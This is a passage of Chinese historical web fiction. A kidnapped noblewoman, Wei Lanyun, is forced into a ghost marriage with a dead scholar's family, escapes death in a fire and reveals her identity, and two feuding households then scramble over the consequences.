《我不封侯(科举)》
1. 囍(一)
梆子敲到第四声(注1)时,清水潭徐家西北处的角门开了。
自先徐太公荣入翰林之日起,这座老宅已经荒废了整整三十六年。
今夜,腐朽的宅门新贴了一幅对联。
一顶花轿停在了宅门口。
轿子里绑着一个新娘。
新娘子身上胡乱裹着一件喜服,盖头却周正地缝在她的发冠上。
她双手被交叉着捆在脖子两侧,麻绳绕在脖子后边打了一个死结,沾了桐油的粗布条子在她的脸上絷了两圈,将她的喉舌死死扼住。
这是乡里惯常绑牲畜的手法。
新娘子被勒着向前行进着,步履匆匆间,鞋落了一只,滚在地上,被踩的稀烂(注2)。
老宅里在办喜事。
红色锦绸缠着雕梁绣柱,大红灯笼悬在房檐廊角,十四番乐在正堂里齐响,四对儿赞者分列两行。
上席高悬,观礼的宾客们却满堂。
这些宾客脸抹得煞白,嘴上的胭脂却又奇红,两边嘴角儿一上一下咧着,红白之间笑出一条条黑纹,看上去悚然极了。
“新娘子来了!”
一个仆妇率先栽进堂内,旋即一群人拥着新娘子欢欢喜喜进了堂。
钹子一声响,八个赞者一齐高呼——
“鞠躬!拜兴!”
他们押着魏兰蕴二拜天地与高堂。
西弄堂内点着八对龙凤花烛。
烛芯里头忽的炸出了个火花来,仿若惊雷一道。
年轻的丫鬟经不住事,吓得哆嗦一阵。
她循声看过去——
西弄堂里的窗纸是新糊上去的,干净透亮,烛光在窗纸上倒映屋里的男人,他躺在棺材里,死的并不安详,七八个礼仪人轮番上阵,才勉强让他闭上眼来。
弄堂里的烛芯又炸了一下。
另一具棺材也在窗纸上映了出来。
这具棺材是空的。
是用来盛放男人的新娘。
“她好可怜……”
丫鬟守在暖阁外边儿。
她小声说了一句,呼出来的热气儿化作一阵白茫茫,在冬夜里霎时间随风飘走了。
暖阁是新修出来的,木头上散发着刺鼻的生漆味道,阁里的熏香点的足足的,银丝般的炭火一熏,仿佛入了春。
“啊呀!能嫁进夫人家里,是新娘子三辈子也修不来的福气昵!”
圆脸妇人半坐在暖阁里边的绣凳上,说起话来乡音浓厚,暖阁里的炭火烧的很足,她的鼻尖上缀着浅浅的一层汗水。
像她这般的妇人还有很多。
她们或坐或立,簇在正中的芙蓉软榻边。
“听说他们把她栓在羊圈里,三天没给吃喝,她身子都僵了,几乎没了呼吸……”
暖阁外边。
另一个守阁的丫鬟压低了声音,靠近了才说。
有风从残败的枝叶间呼啦而来,两个丫鬟将脖子缩进衣裳里,耳朵冻得通红。
“人倒是乖觉懂事,大喜的日子,也没有闹什么。”
暖阁里。
芙蓉榻上高坐一位贵夫人。
她半眯着眼睛,似睡非睡,手中有序地拨弄一串小叶紫檀的佛珠,身后两侧站着八对儿十六个仆妇,仆妇们皆身着精细绸缎,发佩铜饰钗环,她们肃穆地站着,仿若石刻的雕像。
“要我说,这姑娘不懂事的很!”
一个妇人站起身来,想朝着贵夫人靠近几步,奈何却在仆妇的注视下露了怯,她局促地站在原地,沾了陈泥儿的布鞋不敢踏上佛叶合水莲的地毯半步。
另一个妇人趁机接了她的话头。
“谁嫁进夫人家里不是欢欢喜喜的?那姑娘抬进门时我去看了眼,一副死气沉沉的样子,没点儿喜庆样儿!”
“这叫什么话!”贵夫人嗔怪般看了那两人一眼,又接着说道,“我家又不是什么贵胄人家,我那侄子又是这个样子……”
“若是夫人家算不上贵气,那我们这样的人家便是街上要饭的了!”
陈泥儿布鞋妇人突兀地叫起来,声音高昂到刺耳,她的脸涨得红极了,强装了一副直言不讳的忠臣样儿,她试图掩饰她方才的尴尬。
屋子里的人纷纷附和起来,神色亦惊亦怒。
她们危言正色,她们义正词严。
仿若庙堂上的御史言官。
仆妇奉上了一杯茶,徐大夫人的嘴角在茶盏下微微勾起。
的确。
她对这些妇人的奉承十分受用。
这些妇人都是清水潭有头有脸的官吏媳妇,平时在十里八乡都是呼来喝去好不威风的角色,而在她这里,她们只能摇尾乞怜阿谀奉承,只因为——
她们徐家,的确是贵不可言。
她夫家清水潭徐氏,自翰林徐公始,共出了三名进士六名举人,秀才廪生数不胜数,她家公更是荣退正二品资善大夫,小叔是永平六年的探花郎,掌一方盐政大权。
能嫁进他们这样的人家,竟还摆出一副冷脸子。
新娘子真是不懂事。
“这有什么办法呢?”又有个妇人刮着茶沫,悠悠地道,“她母亲早死了,父亲不喜,打发去了别家,没人教养,自然不懂规矩。”
她从容自在,在一众妇人当中很是扎眼。
徐大夫人拨珠子的手一顿,随后若有所思地感叹一句。
“这也是没有办法的事情,咱们做长辈的,应该体谅着些。”
一股汗臭味从那站着的陈泥儿妇人身上飘过来。
徐大夫人厌恶地拧了一下眉。
两个仆妇忙在旁打起香扇子,又四个仆妇再搬了两个香炉来,横在二人之间。
刮茶沫的妇人低垂着脑袋,笑出了声。
这让陈泥儿妇人愈发惶恐而局促不安。
“啊呀,小姑娘本来是该钉死在棺材板子里昵,新铜早就准备好了,铁匠也请好了,要不是大夫人心善,现在刚打好的烧红的钉子就该敲进她身上昵……”
圆脸妇人忙出来打岔子。
“他们怕她埋了也想办法跑,听说要用三尺长的黄铜钉子把她钉死在地底下……”
暖阁外的丫头在风里窃窃私语。
“阿弥陀佛。”
暖阁里的徐大夫人虚拜一下。
她这样吃斋念佛的人,怎么能干得了这般事?
勒死了。
也便罢了。
鼓乐一路舞到了西弄堂。
这是一间被布置好了的洞房,梁柱新刷了红漆,门窗新挂了红帘,四合如意锦纹栽绒毯铺了满室,五谷八宝饴糖醇酒琳琅满目。
花烛的烛芯嘶啦作响,烛火在窗纸上跃出斑驳的光影。
魏兰蕴跪在洞房门口。
光影在她的身上戛然折断。
自她身前是死人棺材,光亮亮的一片,而自她身后,日月无光。
皆是死路。
她不记得她是什么时候来到这个世界的。
只记得在沉沉的夜里。
他
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们将她带走时,抄起路边长满青苔的石头卖力地往她头上砸去。
用过的石头又被随手丢在路边。
血淋淋的。
十五六岁的小姑娘,被捆着拴在羊圈里,半倚着槽头休息。
羊吃光了草料,一路啃食到她的头发。
她想往一旁挪去,用尽全身力气,却连眼皮都没有抬起来。
魏兰蕴还记得,她在脑后的胀痛、腹胃的刺痛里,在一具脱水又无力的身体里,精疲力尽地睁开眼睛。
那是一只母羊正回头舔舐她的脸庞。
而母羊的躯壳,横立在魏兰蕴的上方。
本该用来哺育幼羊的汁水,一滴一滴落下。
一滴一滴。
顺着她嘴角一滴一滴渗去,直至喉舌胃肠。
魏兰蕴似乎在另外一个人身上,重新睁开了眼睛。
夜更深了。
西弄堂的花烛又炸了三两个火花出来,影子在窗纸上跳跃。
巹酒三酳,他们拿了豆谷枣栗来。
“撒帐东,宛如神女下巫峰,揭开便见嫦娥面,红云接起一重重(注3)……”
一个壮硕的汉子拿了条牵红来。
红色的绸子一头系在新郎的棺材板,另一头绕在魏兰蕴脖子上,这是一双新人要拜堂了。
“撒帐西,锦带流苏四角垂(注4)……”
这汉子拽着牵红,踏出一只脚来,踩在魏兰蕴的背上。
“撒帐南……”
蜡烛再炸开了个火花,汉子抻了抻绸子,绷紧了手臂。
红绸在上收紧,拽着魏兰蕴的上半身,汉子的脚却用力往下踩,迫使她背脊向下走。
魏兰蕴的影子在窗纸上折成扭曲的形状。
嘭——
影子熄灭了。
龙凤花烛炸开了花,在浓浓溶溶夜色里仿若绚丽的烟火。
烟火是她灵巧的画笔,红绸锦缎是她的画布,而绚烂的火焰是她举世无双的画作,窗纸顷刻间便烧没了,年老失修的梁柱子掉了下来。
轰隆一声。
柱子砸在了新郎的棺材板上,板子碎成一片。
尸身滚落出来,压在火上。
烧起来了。
众奴吓得倒吸一口凉气,红色的绸子在惊愕之下松了个干净。
魏兰蕴重重地跌落在地上。
奴仆们奔走呼号。
打水的打水,泼沙的泼沙。
没有人再顾得上她。
她孑然倒在大火与废墟之间,脖颈处缓慢生长出一道可怕的青紫痕迹,长久不进水米让她近乎力竭,她眼瞳垂垂,气息奄奄,像一尊破碎的瓷盏,亦或是半步冥府的神祗。
西弄堂烧成了一片亮堂堂。
火光照亮了魏兰蕴身后的路。
日月无光。
她自点火相照。
多宝架烧塌了,好意头的五谷像雨一样落下。
撒帐北。
簇拥仙郎来凤帐,芙蓉暖帐火燎烧,月娥怒斩蟾宫客,好叫这儿郎家勿妄展他个什么举案容,爰申去他娘的合卺礼(注5)。
身死无灵,莫念同穴。
窗纸烧没了,蜡烛烧尽了。
穿堂的风哗啦啦地吹来。
魏兰蕴的囍袍在风里呼呼作响。
一股浓重的羊膻味从风中涌出。
仿佛是源自这羊圈里接来的新娘子,又仿佛源自那——
用羊油新炼制而成的。
蜡烛。
2. 囍(二)
西弄堂的大火足足烧上了一个时辰。
虫豸行,鸟兽走,古树打着卷曲的叶子化作炭像一座,千百年来被银湾之水厚润的土壤相继枯涸龟裂,从莱阳雪山而下的凛冽的北风席卷着冲天的大火,火光近乎照亮了半个天际,公鸡打上了鸣。
赔笑打发走了最后一帮前来帮忙的火班伙计,徐大夫人终于松下了一口气,她接过仆妇一早备下的湿绢子,一边净着手一边转身朝内宅走去。
宅子里已经一片狼藉。
河水和泥沙搅着积在径上,脚印子一层一层叠在上面,被拆了止火的梁柱和屋瓦乱糟糟的撇在路边,徐大夫人跨过三两根立在路中的梁木,扶着老仆妇躬身穿过垂花门。
西弄堂早成了一片残垣断瓦,堂前屋后的土地上还有被炙烤般的滚烫。
弄堂里的郎君被请到了东廊下。
还有那个女孩子。
她被两个练家子看管在东廊下,大火里燎没了一半的红盖头,露出她光洁的半张脸来,徐大夫人隔着垂枝莲纹的屏风看她,在隐绰的曦光之下,魏兰蕴美得令人失神。
“她是谁家送来的?”
徐大夫人问道。
火起莫慌张,先镇内贼狂,械巡防盗抢,隔火断烟瘴,自古以来救火镇乱不分家,火初发于堂屋时,徐大夫人便令人看管起了这个并不稳定的新娘,宵小最是趁乱行,鬼胎更是趁乱生,徐大夫人以为这个女孩子会趁乱逃跑,亦或是趁乱做些什么。
但是她没有。
从这场火起到这场火灭,这个女孩子没有挣扎,也没有喧闹,她安静跪坐在东廊下,盖头遮住了她的眼睛,廊外火光冲天人声鼎沸,她甚至没有挣开盖头看上一眼。
这穷乡僻壤里,还能有这般稳重又异常漂亮的女孩子?
徐大夫人十分讶异。
不过想来却也合情合理。
徐家这般高门显贵,想结交徐家的人有如过江之鲫。
有人米里掺金,有人怀珠偶遇,有人恰投其所好,送了一个听话悦目的祭品来,这并不足为奇。
徐大夫人转过了头去。
这个乡野来的女孩子还不值得她看第二眼。
魏兰蕴安静地跪坐在麦草上。
似乎没有人注意到,束缚她的绳索在大火里悄然烧尽了,半截盖头垂下来,恰掩下了她的视线,她垂眸看着膝下,膝下的麦草打成了结。
草结无序地交错着,在地面上,恰好铺陈出了徐家老宅的痕迹。
从这里出去要走过一条沙砖铺的小路。
路上杂草生了半尺高,中间仅仅斩出一条一尺宽的过道供人行走,出了内院后,外院照壁下每隔两尺便站了一个把守的人,他们穿着深褐色云纹服,像是从衙门借来的皂吏。
老宅外是村野和乡田,是徐家的地界。
逃跑的女孩子会磕磕绊绊穿过小路,跌跌撞撞躲开皂吏的抓捕,会从一个年久无人可知的狗洞钻出去,然后一块石子便掉进大海汪洋。
夜晚的海是波涛汹涌的。
乡人们也许会举着火把像浪潮一样涌出来,为他们的地头抓捕一个不知好歹的女孩子。
所以,不能冒险,不能这样做。
魏兰蕴,你不要急。
你要那样做。
-
天要亮了。
按理来说,现在应该重新起仪送葬。
但是——
徐大夫人想了想,提着裙子走进了暖阁。
暖阁内,众人依旧簇拥在芙蓉榻边,袅袅的一个人影歇在榻上,先前那从容的妇人正跪坐在榻边,殷勤地为榻上人端茶递水。
榻后新设了小几,并添了两顶香炉又五个青玉炭笼。
一个十五六岁的小姑娘坐在小几边上,抱着布枕,睡眼惺忪,炭笼暖得她脸颊绯红,她热极了,将一只鞋踢了,露出珠玉一般圆润的足来。
“云姐儿!”徐大夫人热切地喊道。
被唤住的小姑娘睁眼,只看了徐大夫人一眼,喉咙里发出嗯呢一样的声音,打了个哈欠,尔后又睡了过去。
徐大夫人有些尴尬。
“嫂嫂来了?”榻上的人瞧见徐大夫人,语气惊讶且热切。
这位便是新郎的母亲,徐大夫人的弟媳,三品都转运盐司使的妻子,徐家行二的夫人。
今天这场喜事本应该由徐二夫人来办。
这场喜事本也是一直由徐二夫人操持准备的。
可奈何娇儿罹难,徐二夫人哭伤了身子,日前一碗羊肉汤下肚,虚不受补,陡地一下病的连床都起不来,只能修书三封请大夫人代为主持大局。
徐二夫人忙扶着起身下榻相迎。
可徐大夫人又怎么能真的让一个病人起身。
徐大夫人上前按下二夫人的肩膀,说了好一通关切的话。
让她安心躺着,勿要在意这些虚礼。
话说完了,接下来本该是二夫人言辞恳切的拒绝,以及强行要见礼的模样。
可徐二夫人乖巧地躺回了榻上。
仆妇趁机扶了扶她腰后的软枕,让她躺的舒服又惬意。
“嫂嫂快请坐!”
徐二夫人说着,仆妇赶忙拿了绣凳来,请大夫人坐下。
这是一张平平无奇的绣凳,与阁内这群乡野妇人坐的别无二致。
徐大夫人愣了一会儿才坐下去。
仆妇上了一杯茶。
徐二夫人抿了一口便撇在了一边。
“出了家门几天便没了规矩,这样的茶也拿来给我用。”
仆妇惶恐,跪下恳求主子息怒。
求饶之间,却忍不住偷瞧了徐大夫人一眼。
先前大夫人用这茶时,可没有半点不满。
“这阁里一股子生漆味道,以为多拿了几顶香炉来,我便闻不出来了?”
徐二夫人再骂。
仆妇们一水儿地跪了下去,又瞧徐大夫人。
这事儿,徐大夫人也没有不满过。
徐大夫人面色有些怏怏。
“你们便是仗着我嫂嫂宽厚,肆意苛待了人去!”
徐二夫人斩钉截铁。
这似乎是在为大夫人找补。
徐大夫人面上缓了几分,长呼出一口气来。
“我大哥可是南直隶经历司经历!堂堂七品经历夫人,竟要受你们这档子窝囊气!”
暖阁内咒骂不停。
“不乐意办这事,当初接下来做什么?心里有怨便故意将旁人的宝贝摔了,还要打着意外之名,让别人打掉牙齿和血吞,真是——”
“贱不贱啊!”
徐大夫人的脸彻底黑了。
她哪里骂的是这帮仆人,她骂的是自己。
云在天上涌动。
“无非是被身份高贵的弟妹压着,扬不了大夫人的威风,这才平时装出一副贤德样子,吃斋念佛的,好为自己挣出几分面子来……”
“她哪乐意办这晦气事?给拒了两回,最后实在没办法了才答应下来的……”
暖阁里的声音随风绕着宅子飘了一个来回。
奴仆们窃窃私语。
一个没有威严的主母,自然压不住阖府的奴仆。
主子的丑闻早在下人的嘴里漏成了筛子。
魏兰蕴早已经听过了好几回。
徐大夫人走出了暖阁。
她抱着手炉站在廊下,面色肃穆如寒冰。
暖阁里走出来一溜仆妇子,如烟云般倏一下四散在宅子里,她们有条不稳地调令人手,似乎不再需要徐大夫人发号施令。
这对于当家多年的徐大夫人来说,没有比这更能羞辱她的了。
徐大夫人以袖掩面。
大老爷滞于七品久矣,本来指望办了这事能助他向前进益几步,可没成想适得其反,不仅将人得罪了,还让自己彻底没了脸面!
明明——
徐家二位老爷才是一母同胞的亲兄弟,凭什么老二一朝发达却只顾提携妻舅,那亲家舅爷什么事都不用做,自有那撒泼卖痴的姐姐替他操持,而自家分明是亲大哥,不仅半点好处都得不上,竟还要讨好着看人脸色!
凭什么?
徐大夫人眼眶尽红了。
仆妇们架着魏兰蕴从徐大夫人面前走过。
她踉跄了一下,宽大的喜服压在地上,露出珠玉一般圆润的足来。
就与家里的女儿们一样。
十五六岁的女孩儿家,都是千娇万宠长大的,从手至足,从指到发,无一不是精细呵护着,一身俱是玉颜色。
这并不足为奇。
徐大夫人只略扫一眼便将头扭了过去。
暖阁里不知是谁讲了个笑话出来,逗得众人哄笑,阁里的小姑娘也睡醒了,她笑声如同银铃一般,悠悠地传出阁来。
她从前的声音呕哑嘲哳,并不好听。
是她母亲徐二夫人拿着帖子叩请太医院院判大人,亲自给她配了药,价值千金的荣养丸吃了三四年,声音才养得清脆似银铃。
那么……她呢?
又是谁养的她,谁让她三伏日下有华盖,谁又让她行止落地有车马?
里长媳妇的鞋上尚带着洗刷不掉的泥巴印记,既如此——
她是什么人家里出来的?
她这个妯娌,自从独子去世之后,可算是疯的彻底。
一个可怕的想法从徐大夫人心里冒出。
她的嘴比她的脑子动的更快。
“全部给我停下!”
奴仆们皆停了下来,目光顺着声音望去,待看清发号施令的是谁后,他们呆愣了一瞬,而这一瞬又被第一个动起来的奴仆打破,有人继续着手里的事情,而有的人则手举在半空,犹豫地张望着,不知该听从谁的命令。
徐大夫人只感到一阵荒凉。
“大夫人,您这是什么意思?”
有个婆子质问道,昂着首挺着胸,直视着徐大夫人的双眼,这婆子是二夫人的心腹,夫家姓刘。
“我要看看新娘子的庚帖。”
徐大夫人与她对视,斩钉截铁。
刘婆子瑟缩一瞬,随后又再次挺直了胸膛。
“老爷吩咐了,天亮之前事情须得了了,这天眼看就快要亮了,若是耽搁了,若是老爷怪罪下来,老奴那只得如实禀报了。”
这不只是挑衅,更有威胁。
亏心的人才会虚张声势。
徐大夫人愈发硬气起来,她的眼眸
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里带着连自己都不明白的疯狂。
这疯狂是压抑许久的,来自她多年来在妯娌之间的忍气吞声,来自于她多年来对二房厚此薄彼的嫉妒怨怼。
“我要看新娘子的庚帖。”徐大夫人又重复了一遍。
“大夫人,这可是二老爷吩咐的。”刘婆子也重复了一遍。
“我是徐家的当家夫人,主持中馈的主母,哪里有新娘子进了门、埋了坟,我一个既当主母又当伯母的人还不知道底细的道理?”徐大夫人冷笑一声,继续说道,“莫非是,你们二夫人做了什么见不得人的事情?我不能看看?”
这是妯娌间彻底撕破脸了。
不过没有关系。
如果她所猜想的是真的话。
“大夫人当真要如此?”
刘婆子后退几步,护住身后的红匣子。
徐大夫人一个眼神过去,立即有个小厮猛地扑过来,将刘婆子制住,又有三两个丫鬟直挺挺朝着红匣子冲出来。
院子里乱糟糟的。
两头的奴才们抢成了一团。
不知是谁失了手,红匣子飞了出去。
碎在了地上。
里头的册子散了出来。
这册子粘的并不牢固,纸张散了一地。
徐大夫人立即低头看去。
上边长篇大论地叙述了徐家大少爷三代官途名讳,家中金银、田土、宅舍俱在其中,而女家之述,仅有一页,纸上简短地写上了三行字——
“魏元女。
祖无籍。
恒无定产。”
徐大夫人愣住了。
刘婆子得意地笑了起来。
这……怎么可能呢?
徐大夫人扭头,猛地朝魏兰蕴扑过去。
她抓住了魏兰蕴的手,胡乱地摩挲。
没有,什么都没有,一点茧子也没有。
这双手纤细绵软,是一双从未下过田、插过秧、洗过衣裳、进过庖厨的手。
她只站着,站在这个残缺破败的老宅,就像站在金殿楼阁、庙宇高台。
一张漂亮的脸蛋是上天赐予的,但是圆润到半点茧子都没有的手足不是。
能养出这样的女儿的人家,不会送女儿如猪狗一样去死。
徐大夫人踉跄朝着魏兰蕴走过去,她的手在颤抖,她的心在猛烈地跳动。
可是——
可是这个女孩子是可以说话的。
徐大夫人恍然发现她是可以说话的,没有东西堵住她的口鼻,也没有东西束住她的喉舌,她是可以说话的,她现在是可以说话的,她早就是可以说话的。
她为什么不说话?
如果她真的是非同一般的,她早该在饥寒交迫之际,早该在命在旦夕之时,将她的所有的经历、身份、背景以及她的名字,大声说出来!
她为什么不说?
徐大夫人开始懊悔自己的冲动。
事已至此。
她已经退无可退。
“你是谁家的?”
她还是说出了这句话。
天空泛起了鱼肚白。
这个夜晚格外的漫长,漫长到魏兰蕴度过它,就已经精疲力尽。
魏兰蕴深吸了一口气,缓缓说道。
“上阳魏家第十九代……”
在她很小的时候,父亲曾经教导过她,话只有说给想听的人听的时候,才算是真正说了出来,话只有在说给有相同利益的人的时候,才算是信而有证的。
荒诞的话没有人会相信。
说荒诞话的人会被当成疯子烧死。
“宣平六年三元魁首、右都御史特进光禄大夫魏邕长孙,文华殿大学士魏伯兴长女,见过徐大夫人。”
多荒诞的话。
真令人难以相信。
徐大夫人愣住了。
握住佛珠的手却不自觉的掰直,绳断了,紫檀珠子掉了一地,四散着,随后渺无踪迹。
徐大夫人毫无知觉,更无暇去管。
徐二夫人身边得脸的妇人是说过这样一句话——
她母亲早死,父亲不喜,打发去别家。
京城上阳魏家确实有这样一个女儿。
似乎……恰养在此地。
徐大夫人突然感到一阵狂喜。
她嘴角咧如血盆,面色却还僵在呆愣之态,喉咙提不上气来,只能发出僵硬的咳咳的笑声。
她这个妯娌!
她这个妯娌竟敢掳了这样一个名门之后,给她的那个腌臜儿子陪葬!
一口涎水呛在了喉咙里,徐大夫人猛烈地咳嗽起来。
咳嗽之间,她又感到一股从心底里涌上来的寒意。
这可是当朝帝师、谏议大夫魏邕的孙女。
徐家的前途可能就要毁在这个疯婆子手里了。
徐大夫人只觉寒毛竖起。
“快!快马传书,命二老爷速归,就说——家里出大事了!”
明月隐树,日出雾露(注1)。
天亮了。
哐当一声。
魏三老爷一脚将正屋的门踢开,门板撞在墙上,裂了老大一条缝。
“你将谁送去配了清水潭徐老二的冥婚?”
3. 囍(三)
这是魏三夫人晨起洗漱,接受妾室请安的时辰。
此刻她正坐在妆台前,让她最合心意的妾伺候梳妆。
魏三老爷踢得这一脚,吓得她从椅子上陡地站起来,青丝被拽落一绺。
弄堂里等候问安的妾一齐望了过来。
魏三夫人头皮疼的发麻,她余光扫了一眼弄堂处,挤出一个笑容,好声好气地笑道:“老爷歇歇脚,瞧这汗流的,衣裳都湿了,柳娘还不快去带老爷换身衣裳!”
尾音拔高了声响,守在门口的仆妇们会意立即将门关上。
柳姨娘上前两步正欲服侍,却被魏三老爷一把推开。
他想说些什么,略扫了一眼柳姨娘,还是决定顾忌夫人的面子,让柳姨娘退下。
见老爷心头还是在乎自己,魏三夫人笑开了花。
“你把大姐儿送去配了徐老二的冥婚?”
魏三老爷简直不可置信。
他今早从柳姨娘的院子里起来的时候,就听见下人在议论这件事情。
那时他不置可否。
他父亲曾是帝师,大哥又身居要职。
就算是徐家老二猪油蒙了心,癞蛤蟆想吃天鹅肉,要他们魏家大房的嫡长女去给他的儿子配冥婚,那他家又怎么可能答应把女儿送过去呢?
然而他一路走过,府里却不止一个下人这样议论着。
那刻意压低着的气声断断续续的,在那个门廊处,在这个假山里,碎成一片的词块儿钻入魏三老爷的耳朵里,拼凑成了一个故事。
一个令人惊悚的故事。
魏三老爷惴惴不安,一路朝着魏兰蕴所居之地走去。
那里空空如也,门窗楼阁处还有挣扎的痕迹,路边突兀地放了一块沾满青苔的石头。
石头上血淋淋的。
“老爷!”魏三夫人娇嗔一声,揽住魏三老爷的胳膊,“我哪里敢把大姐儿送去做这丧良心的事情,大姐儿病着呢!”
“病着?”魏三老爷皱了皱眉。
“是呀!”魏三夫人点了点头,“突然就病了,前儿才招了大夫来看,大夫说姐儿要静养着,正好我阿兄家在丹州新添了个宅子,还没住进去,我说我家大姐儿是顶顶金贵的,有这样好的东西必得紧着大姐儿用了去!这不为了姐儿的身体,赶紧着将她送了去!”
魏三夫人说着,很是愤懑。
“不知是外头哪个小娘皮瞎嚼舌根子,我一片慈母之心,竟被编排成这样!”
“真的吗?”魏三老爷问她。
“那必然是千真万确!”魏三夫人对天发誓。
“你也不怕老天降了道雷劈死你。”
魏三老爷冷笑,手狠狠拍在案几上,发出砰的一声。
“你还不跟我说实话!”
外头的妾和奴仆们悄悄往房里张望着。
“你不知道她是谁吗?她是大哥的嫡长女儿,你居然!你居然敢把她当成那种……那种东西,送了出去?”
“什么嫡长女?说得那般金贵!屠户家生养出来的小丫头片子而已!”
生怕在外人眼里自己没了面子,魏三夫人梗着脖子反驳道:“同样是女儿,二姐儿被大哥从小教养着,大诰颁下来后,大哥亲自请了翰林院的先生,要领着二姐儿去考科举,去当官!可是大姐儿呢?”
“你大哥自己都嫌她晦气,不要她!没管过她!”
“她今年已经十六岁了,寻常人家的女儿十六岁早就嫁人了,就连咱家的五姐儿,大哥年前还吩咐要给她相看人家,谁又管大姐儿了?我好心给她找了一个人家,怎么还成了驴肝肺了!”
“你别忘了她可是父亲养大的!”
忌讳般看了一眼屋外的奴仆,魏三老爷压低了声音吼道。
昔年兄长不喜这个微末时聘的妻子生下的女儿,对她极为严苛,父亲不忍,便把当时仅有两岁的小女童带在身边,于各地辗转上任,一晃便是十年。
“我当然没忘!”魏三夫人也压低了声音,“这个目无尊长的小崽子,三年前将做出那事儿来,将老太爷气狠了,打发到这里来,再不许她上京去,我可是记得一清二楚!大哥不喜欢她,父亲讨嫌她,我将她送走,还没准正和了他们的心意!”
“况且……”
魏三夫人捂着胸口,委屈地说道。
“老爷你又不是不知道,那徐家二夫人是西林军属,忠烈安定伯的后人,徐家二老爷又身在肥职要差,父亲正要致仕,大哥又只是一个小小学士。”
“他们徐家找我要人,我怎么敢不给啊!”
魏三夫人泪如泉涌。
“你……你……”魏三老爷只觉得气血翻涌,一口血咯在喉管处上不来。
他的夫人也是魏家衰败时聘下的,一个老秀才的幺女,仗着教了女儿识了些字,那个老秀才开出了二十两纹银的高价,那是他当时可以够得上的最高处。
小门户终究是小门户,哪怕是识了些字也掩盖不了见识的浅短。
小小学士?
那是要入内阁的位置!
“快!立即派人去徐家,把大姐儿给我接回来!”
“老爷!”
魏三夫人砰地一下跪倒在地,嘶声哭泣。
###
徐家老宅里最后一个瓷瓶碎了。
它被徐二老爷狠狠地掷了出去,在地上碎成了一片。
“那可是我的元儿啊!他值得天下最好的东西!”
徐二夫人瘫坐在地上,靠着四方椅,手抚胸口,放肆痛哭。
那是她的孩子啊,那样好的一个孩子,十八岁就中了状元,甚至比他爷爷还要年轻些,他在殿前策问得陛下三嘉,特赐为太子延讲,这是多大的荣耀!
可他就这样死了,这样不明不白地死了。
她的心,几乎都碎了。
这样好的孩子,这些乡里的粗野村妇如何可相配?
要不是她的儿子死了,不然就连魏伯兴的女儿,都没资格与他相配!
“你真是疯了!”徐二老爷怒骂。
主君和主母的身后分列着两排小丫鬟。
年轻的女孩子正是活泼好动的年纪,她们低着头,眼神却忍不住地四处乱飘着,眉毛鼻子拧成一团,神情揶揄极了。
这是徐大夫人吩咐的。
贤德的主持中馈的大夫人永远是这么周到,知道二老爷是急赶回来的,必然口渴肚饿,吩咐了丫鬟们在老爷旁边捧着果子茶点伺候着。
暖阁里倒是清了场。
那些有头脸的媳妇子们一并清了出去,暖阁里面空空荡荡的。
云姐儿缩在暖阁的角落。
父母的哓哓不休的争吵声令她害怕极了,她浑身颤抖,噎噎咽咽着。
奶母抱着云姐,唱着哄孩子的歌谣,轻轻拍着她的脊背,而目光却不由自主地朝着另外一个女孩子看去——
魏兰蕴跪坐在松软的鹅毛绣垫上,手里捧着滚烫的一盏茶,干涸的唇瓣贴在茶杯边缘,水
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气儿腾腾往上飘着,模糊了她的脸庞。
她可真美。
就是整个丹州府的娘子加在一起,也比不过一个她。
奶母忽的叹了一口气。
两个都是十五六岁左右的女孩子。
一个且惧父母争吵。
而另一个——
鬼门关来回一遭,犹自泰然。
差别真大。
伴随着椅子被踢倒的声音。
徐二老爷从正堂里走了出来,径直进了暖阁。
就在进门的一瞬间,徐二老爷怒气腾腾的脸顷刻便换了一副祥和模样。
他温和地抚去云姐儿脸上的泪痕,让奶母抱着云姐儿先出门。
奶母领命,她抱着云姐,弓着背在暖阁退行。
在奶母眼里。
不比于大夫人那样的佛口蛇心,二老爷才是真正的慈眉善目,他为官二十年,是百姓口中频频称赞的父母官,他为父二十年,是家中孩子们最敬仰的慈父。
哪怕是在外头气极了恨极了,他也从未把气撒在孩子身上。
就比如现在一样。
真好。
青天大老爷来了。
这个女孩子会得到她应得的公道和正义。
如果她是这个女孩子的话,她一定要好好地哭一场,狠狠向青天老爷诉说自己的冤屈,把他们加诸在自己身上的不公不平的待遇大声嚷嚷出来,好为自己讨一个公道与正义。
这个女孩子会这么做吗?
应该会吧。
哪怕她再如何泰然自若,她都只是一个十五六岁的小女孩儿,见到这么和蔼可亲的长辈,她心中的委屈就应该像开了闸的河水一样,哗啦啦地流出来。
奶母退出了暖阁。
暖阁的门合上了。
徐二老爷坐在绣凳上,那是普通的一张绣凳,还带着几个乡野妇人的汗臭气,徐二老爷毫不避讳地坐在其上,他周身气度凛凛,仿若坐的并不是一张普通木凳子,而是金丝楠木打成的浮雕螭纹捧寿椅。
“魏大娘子。”徐二老爷开口,语气和缓如春风般娓娓,“我是徐重。”
他极为坦荡地介绍自己,不带官位身份,不带老爷尊称,就像一个普普通通的邻家长辈一般,他继续说道:“西林犒军的时候,我和你的祖父见过一面,论辈分我应与你的父亲一辈,若是你不嫌弃,便唤我一声叔父吧。”
“徐二老爷。”魏兰蕴说道。
她甚至头都没有抬一下。
没有预想中小女孩儿眼泪汪汪地呼唤长辈,徐二老爷有一瞬意外,随即他又了然。
这个年纪的女孩儿气性都大,受了这么多委屈,还在生气,这也正常。
“外头天色很好。”
徐二老爷寒暄着,就像是一个寻常的早晨,和善的叔父对邻家小姑娘亲切地问候。
“是啊,天亮了。”
魏兰蕴的声音也极为轻柔,就像晨起探出窗外去,对屋外的邻居道着晨好,她手里的茶饮尽了,空空的茶杯放在桌面上。
“曲则全,枉则直,洼则盈,敝则新(注1),盛极而衰,福祸相倚,晴天之后是雨天,白昼之后便是黑夜。”
徐二老爷提起红泥火炉上的水壶,双手隆重地给客人续着茶水。
水满了茶杯,溢在了桌面上。
他放下了水壶,对魏兰蕴露出来自长辈的赞许的笑容。
“你靠着自己多活过了一个白天,已经很不错了。”
4. 囍(四)
屋外有人摔了一个趔趄。
是那自作聪明的奶母。
她似乎以为自己可以听见一个青天包拯明断案定公道的故事。
不过可惜。
事与愿违。
徐二老爷的眼底闪过一丝厌恶,不过这抹情绪随即又消失不见,他这样素有贤名的老爷大人,怎么会去厌恶一个下人呢?这听上去一点也不贤明。
当然,他也不会去厌恶一个做了坏事的女孩子。
“魏娘子是不是很惊讶?”徐二老爷慈祥地笑着,将茶杯推至魏兰蕴面前,他顿了顿,继续说道,“你做了这么多手段……”
